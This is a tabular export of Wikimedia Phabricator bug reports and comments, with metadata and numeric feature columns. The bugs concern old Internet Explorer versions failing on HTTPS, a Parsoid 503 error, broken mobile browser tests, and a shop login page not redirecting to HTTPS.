Going by https://www.mediawiki.org/wiki/Compatibility/Software_for_using_MediaWiki#Grade_B , currently IE6-8 seem to all fall into the Grade B category of support.  But I think once this 3DES deprecation is done, chances are good that at least the WinXP versions of those will be <0.1% and should be removed from Grade B.  However, https://stats.wikimedia.org/wikimedia/squids/SquidReportClients.htm doesn't break down by underlying OS version, which is why IE8 is higher there (it's including e.g. IE8-on-Vista and others).",,,1509232796,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,3,True,,,121,True,0.5,0.0,0.0,1.5,1.0,3.0,2.0,0.5,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,0.5,8.0,10.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,6.5,1.5,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.5,2.5,0.0,1.5,0.0,0.0,0.5,6.0,1.0,1.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,5.0,15.5,4.0,2.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,3.0,10.5,10.0,0.5,0.0,0.0,3.0,0.0,2.0,0.0,0.5,2.0,0.5,0.5,0.5,3.6666666666666665,0.8260869565217391,"SCREEN_NAME-WMF - Kinda?  See also the explanation here: T25932#3614933 .  TL;DR is that just because we removed the cipher that IE8/XP should use, that doesn't necessarily mean that no IE8/XP clients will ever connect to us.

Going by URL , currently IE6-8 seem to all fall into the Grade B category of support.  But I think once this 3DES deprecation is done, chances are good that at least the WinXP versions of those will be <0.1% and should be removed from Grade B.  However, URL doesn't break down by underlying OS version, which is why IE8 is higher there (it's including e.g. IE8-on-Vista and others)."
954854,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),"@BBlack, is {T147199} going to make this impossible now anyway?",,,1509126292,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,3,False,,,121,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.142857142857143,1.0,"SCREEN_NAME, is {T147199} going to make this impossible now anyway?"
452041,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),If this is only Windows XP in SauceLabs then it's low priority (WMF does not run any browser tests at SauceLabs on Windows XP). I would appreciate it if someone could try IE7 or IE8 on Windows XP outside SauceLabs.,,,1430427181,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,1,False,,,-9,True,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,31.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,16.0,24.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.8,If this is only Windows XP in SauceLabs then it's low priority (WMF does not run any browser tests at SauceLabs on Windows XP). I would appreciate it if someone could try IE7 or IE8 on Windows XP outside SauceLabs.
97491,"Intermittent ""Failed contacting Parsoid: There was a problem during the HTTP request: 503 Service Unavailable
"" when requesting http://en.wikipedia.beta.wmflabs.org/w/api.php","On http://en.wikipedia.beta.wmflabs.org/wiki/Talk:Flow, intermittent errors are displayed when trying to save a Flow entry other than a plain text.

Request url --- http://en.wikipedia.beta.wmflabs.org/w/api.php

http://en.wikipedia.beta.wmflabs.org/wiki/Talk:Flow
[ec2ce41c] Exception Caught: Failed contacting Parsoid: There was a problem during the HTTP request: 503 Service Unavailable ",Needs Triage,90.0,1430263056,1430416640.0,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-TASK-lt2wni4y5uov3idftkg7,task_description,resolved,True,c3,1,False,False,True,-10,True,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,29.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,6.0,4.346938775510204,0.8571428571428571,"On URL intermittent errors are displayed when trying to save a Flow entry other than a plain text.

Request url --- URL

URL
[ec2ce41c] Exception Caught: Failed contacting Parsoid: There was a problem during the HTTP request: 503 Service Unavailable "
451958,"Intermittent ""Failed contacting Parsoid: There was a problem during the HTTP request: 503 Service Unavailable
"" when requesting http://en.wikipedia.beta.wmflabs.org/w/api.php","Should be fixed now. There was a bug in Parsoid that has been fixed, and beta labs has been broken in various ways this week and last week.",,,1430416640,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lt2wni4y5uov3idftkg7,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,10.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,10.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6129032258064515,0.7741935483870968,"Should be fixed now. There was a bug in Parsoid that has been fixed, and beta labs has been broken in various ways this week and last week."
97460,Update browser tests after login/sign up form warning changes,"These steps now fail as a result of T95065
* Create failure messages.Create account password mismatch message
* Then I should see a message box at the top of the login page'

https://integration.wikimedia.org/ci/view/BrowserTests/view/MobileFrontend/job/browsertests-MobileFrontend-en.m.wikipedia.beta.wmflabs.org-linux-chrome-sauce/629/testReport/junit/(root)/Login/Not_logged_in/
https://integration.wikimedia.org/ci/view/BrowserTests/view/MobileFrontend/job/browsertests-MobileFrontend-en.m.wikipedia.beta.wmflabs.org-linux-chrome-sauce/629/testReport/junit/(root)/Menus%20open%20correct%20page%20for%20anonymous%20users/Watchlist_URL_is_set_correctly/
",Needs Triage,90.0,1430248376,1431063385.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-w3pd7vqenmta6vpmhwcn,False,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_description,resolved,True,c3,1,True,False,True,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.7619047619047619,"These steps now fail as a result of T95065
* Create failure messages.Create account password mismatch message
* Then I should see a message box at the top of the login page'

URL
URL
"
455881,Update browser tests after login/sign up form warning changes,"Change 209670 merged by jenkins-bot:
Fixing broken browser tests for mobile

[[https://gerrit.wikimedia.org/r/209670]]",,,1431063332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,3.9047619047619047,0.9047619047619048,"Change 209670 merged by jenkins-bot:
Fixing broken browser tests for mobile

[[GERRIT_URL]]"
455809,Update browser tests after login/sign up form warning changes,"Change 209670 had a related patch set uploaded (by Kaldari):
Fixing broken browser tests for mobile

[[https://gerrit.wikimedia.org/r/209670]]
",,,1431044801,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,3.923076923076923,0.8846153846153846,"Change 209670 had a related patch set uploaded (by Kaldari):
Fixing broken browser tests for mobile

[[GERRIT_URL]]
"
455508,Update browser tests after login/sign up form warning changes,"@Jdlrobson, @kaldari: I've moved it into Dan Garry as it was broken as a result of work that we did.",,,1431015877,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,17.0,8.0,0.0,0.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5416666666666665,0.875,"SCREEN_NAME,SCREEN_NAME: I've moved it into Dan Garry as it was broken as a result of work that we did."
455507,Update browser tests after login/sign up form warning changes,"@Jdlrobson, @kaldari: I've moved it into Dan Garry.",,,1431015860,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9166666666666666,"SCREEN_NAME,SCREEN_NAME: I've moved it into Dan Garry."
455393,Update browser tests after login/sign up form warning changes,"@phuedx any plans to get this rectified so we can get these tests green again?
",,,1431008578,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-8,True,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,24.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.9411764705882353,"SCREEN_NAME any plans to get this rectified so we can get these tests green again?
"
450654,Update browser tests after login/sign up form warning changes,See also T97474,,,1430255616,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,See also T97474
450652,Update browser tests after login/sign up form warning changes,"also https://integration.wikimedia.org/ci/view/Mobile/job/browsertests-MobileFrontend-en.m.wikipedia.beta.wmflabs.org-linux-chrome-sauce/630/testReport/junit/(root)/Page%20actions%20menu%20when%20anonymous/Receive_notification_message___Edit_Icon/

ping @kaldari you broke this ;-)
",,,1430255298,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,"also URL

pingSCREEN_NAME you broke this ;-)
"
97337,Beta Cluster: remove the lock icon for links with https,"On a http://en.wikipedia.beta.wmflabs.org/wiki/Talk:Flow, type a link in the link inspector starting with https. 
The lock icon will be displayed: 
{F157847}",Needs Triage,90.0,1430167990,1430330948.0,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-USER-37czexl6ekrvcmp2tyqq,False,PHID-TASK-ysupgojcxehi5oyd7lif,task_description,resolved,True,c3,1,False,False,True,-10,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,3.423076923076923,0.8846153846153846,"On a URL type a link in the link inspector starting with https. 
The lock icon will be displayed: 
{F157847}"
450524,Beta Cluster: remove the lock icon for links with https,Checked in beta labs.,,,1430247752,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-ysupgojcxehi5oyd7lif,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Checked in beta labs.
449977,Beta Cluster: remove the lock icon for links with https,http://en.wikipedia.beta.wmflabs.org/w/index.php?title=MediaWiki:Vector.css&diff=217199&oldid=183711,,,1430174273,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ysupgojcxehi5oyd7lif,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
96749,Bug: Login page does not default to HTTPS,"I have received some informal complaints that indicate that the login page at the shop, is not secure. This should probably redirect to HTTPS.",Needs Triage,90.0,1429655565,1524778338.0,PHID-USER-tp64che5v7h6hgmz6obb,False,PHID-USER-grgqimagqq3ankitlzm5,False,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_description,resolved,True,c3,1,False,False,False,-11,True,4.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,11.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.407407407407407,0.8888888888888888,"I have received some informal complaints that indicate that the login page at the shop, is not secure. This should probably redirect to HTTPS."
1058654,Bug: Login page does not default to HTTPS,This was solved by adding HSTS (see also T128559).,,,1524778338,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,3,True,,,147,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5,1.0,This was solved by adding HSTS (see also T128559).
881595,Bug: Login page does not default to HTTPS,@HuiZSF: I am resetting the assignee of this task because there have not been any updates for the last two years.  Resetting the assignee avoids the impression that somebody is working on this task. Please claim this task again if/when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu). Thanks!,,,1498304793,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,3,True,,,103,True,1.0,1.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,12.0,5.0,0.0,12.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,3.810810810810811,0.8243243243243243,SCREEN_NAME: I am resetting the assignee of this task because there have not been any updates for the last two years.  Resetting the assignee avoids the impression that somebody is working on this task. Please claim this task again if/when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu). Thanks!
481116,Bug: Login page does not default to HTTPS,"@K4-713 @vshchepakina
I have updated login page liquid and added a JS snippet to force all access to be redirected to https.
However, this is not the best solution, it may affect SEO of the website.
Please figure out a way to achieve this request on the server side.",,,1435181158,,PHID-USER-an4pp3ctbvnmzztphldc,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,2,False,,,-2,True,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,12.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,11.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,4.0,12.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.053571428571429,0.7857142857142857,"SCREEN_NAME-713SCREEN_NAME
I have updated login page liquid and added a JS snippet to force all access to be redirected to https.
However, this is not the best solution, it may affect SEO of the website.
Please figure out a way to achieve this request on the server side."
458580,Bug: Login page does not default to HTTPS,@K4-713 do you have any suggestions?,,,1431565243,,PHID-USER-kmvzxnr3vjq47csw3l3v,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,1,False,,,-7,True,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.571428571428571,1.0,SCREEN_NAME-713 do you have any suggestions?
448084,Bug: Login page does not default to HTTPS,"Hi @K4-713, @vshchepakina and @violetto

I have tried to track login action, it submits user name and password to `https://wikimedia.myshopify.com/account/login` and then redirects me to `store.wikimedia.org/account` without `https`.

When I manually access `https://store.wikimedia.org/account`, it redirects me to login page. That means, the cookies generated by last login action has no effect... I have not idea about this...

I also tried to force login action to submit my username and password to `https://store.wikimedia.org/account/login`, I am also redirected to `store.wikimedia.org/account`. This time, however, when I manually access  `https://store.wikimedia.org/account` I can stay on my account page and retrieve my information, the cookies work!

So my thought is 
1. Change the login action from `https://wikimedia.myshopify.com/account/login` to `https://store.wikimedia.org/account/login`, to get cookies work for `https`. 
2. Then we can add a setting to redirect users to a page with `https`.

However, I didn't find the a place to set up the login action in theme files.

Any suggestions please?",,,1429769513,,PHID-USER-an4pp3ctbvnmzztphldc,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,1,False,,,-10,True,0.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,8.0,0.0,7.0,11.5,0.0,3.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,5.5,1.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,14.5,1.0,2.0,7.0,0.0,0.0,0.5,0.0,7.0,0.0,0.0,0.0,9.0,11.5,6.0,0.5,0.0,0.0,9.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,1.0,3.815384615384615,0.6023809523809524,"HiSCREEN_NAME-713,SCREEN_NAME andSCREEN_NAME

I have tried to track login action, it submits user name and password to CODE and then redirects me to CODE without CODE.

When I manually access CODE, it redirects me to login page. That means, the cookies generated by last login action has no effect... I have not idea about this...

I also tried to force login action to submit my username and password to CODE, I am also redirected to CODE. This time, however, when I manually access  CODE I can stay on my account page and retrieve my information, the cookies work!

So my thought is 
1. Change the login action from CODE to CODE, to get cookies work for CODE. 
2. Then we can add a setting to redirect users to a page with CODE.

However, I didn't find the a place to set up the login action in theme files.

Any suggestions please?"
96291,labvirt boxes need a new cert for libvirtd,"On virt10xx, libvirtd uses a WMF CA-signed wildcard cert for virt*.eqiad.wmnet.

As part of the renaming from virt* to labvirt* we need a new cert for labvirt*.eqiad.wmnet.

